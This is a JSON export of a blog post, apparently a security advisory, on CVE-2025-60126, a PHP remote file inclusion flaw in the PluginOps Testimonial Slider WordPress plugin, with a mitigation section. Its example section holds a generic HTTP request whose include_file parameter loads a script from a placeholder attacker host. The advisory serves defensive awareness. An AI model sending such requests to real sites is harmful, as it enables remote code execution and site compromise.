{"id":80778,"date":"2025-10-02T19:40:26","date_gmt":"2025-10-02T19:40:26","guid":{"rendered":""},"modified":"2025-10-09T23:20:34","modified_gmt":"2025-10-10T05:20:34","slug":"cve-2025-60126-critical-php-remote-file-inclusion-vulnerability-in-pluginops-testimonial-slider","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-60126-critical-php-remote-file-inclusion-vulnerability-in-pluginops-testimonial-slider\/","title":{"rendered":"<strong>CVE-2025-60126: Critical PHP Remote File Inclusion Vulnerability in PluginOps Testimonial Slider<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>CVE-2025-60126 is a significant cybersecurity vulnerability that affects the PluginOps Testimonial Slider. This vulnerability exposes a potential weak point in the PHP code relating to the improper control of filename for include\/require statements, known as &#8216;PHP Remote File Inclusion&#8217;. A successful exploit could lead to a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2021-26383-critical-vulnerability-in-amd-tee-puts-system-integrity-and-data-availability-in-jeopardy\/\"  data-wpil-monitor-id=\"88021\">system compromise or data<\/a> leakage, posing a significant risk to website owners and users alike. Due to the widespread usage of PluginOps Testimonial Slider, this vulnerability is of high concern and warrants immediate attention and mitigation.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-60126<br \/>\nSeverity: Critical (8.8 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-10534-critical-firefox-and-thunderbird-vulnerability-leading-to-possible-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"89423\">System compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3737099231\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>PluginOps Testimonial Slider | n\/a through 3.5.8.6<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-41682-critical-credential-exposure-vulnerability-in-charge-controller-systems\/\"  data-wpil-monitor-id=\"88629\">vulnerability arises due to improper control<\/a> of filenames in include\/require statements in the PHP program. This flaw allows an attacker to include a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-58206-critical-php-remote-file-inclusion-vulnerability-in-thememove-maxcoach\/\"  data-wpil-monitor-id=\"87974\">file from a remote server that contains malicious PHP<\/a> code. When the vulnerable script is executed, the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53198-php-remote-file-inclusion-vulnerability-in-favethemes-houzez\/\"  data-wpil-monitor-id=\"88148\">remote file<\/a> is included and executed as well. This could potentially lead to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52954-unauthorized-root-access-vulnerability-in-junos-os-evolved\/\"  data-wpil-monitor-id=\"88197\">unauthorized access<\/a>, system compromise, and data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-838562109\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of a HTTP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7812-critical-cross-site-request-forgery-vulnerability-in-video-share-vod-wordpress-plugin\/\"  data-wpil-monitor-id=\"88552\">request that might exploit this vulnerability<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/path\/to\/vulnerable\/script.php HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/x-www-form-urlencoded\ninclude_file=http:\/\/attacker.com\/malicious_script.php<\/code><\/pre>\n<p>In this example, the request is made to a script that is <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-9113-arbitrary-file-upload-vulnerability-in-doccure-wordpress-theme\/\"  data-wpil-monitor-id=\"87966\">vulnerable to file<\/a> inclusion attacks. The `include_file` parameter is used to specify the URL of a malicious script on the attacker&#8217;s server (`http:\/\/attacker.com\/malicious_script.php`). When the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47098-arbitrary-code-execution-vulnerability-in-incopy\/\"  data-wpil-monitor-id=\"88155\">vulnerable script is executed<\/a>, it includes and executes the malicious script, leading to the potential consequences outlined above.<\/p>\n<p><strong>Mitigation and Prevention<\/strong><\/p>\n<p>It is recommended to apply the vendor patch to resolve this vulnerability. In cases where a patch cannot be immediately applied, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation. Regularly updating software and performing routine security audits can also help in identifying and mitigating such vulnerabilities in the future.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview CVE-2025-60126 is a significant cybersecurity vulnerability that affects the PluginOps Testimonial Slider. This vulnerability exposes a potential weak point in the PHP code relating to the improper control of filename for include\/require statements, known as &#8216;PHP Remote File Inclusion&#8217;. A successful exploit could lead to a system compromise or data leakage, posing a significant [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-80778","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/80778","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=80778"}],"version-history":[{"count":9,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/80778\/revisions"}],"predecessor-version":[{"id":82270,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/80778\/revisions\/82270"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=80778"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=80778"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=80778"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=80778"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=80778"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=80778"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=80778"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=80778"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=80778"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}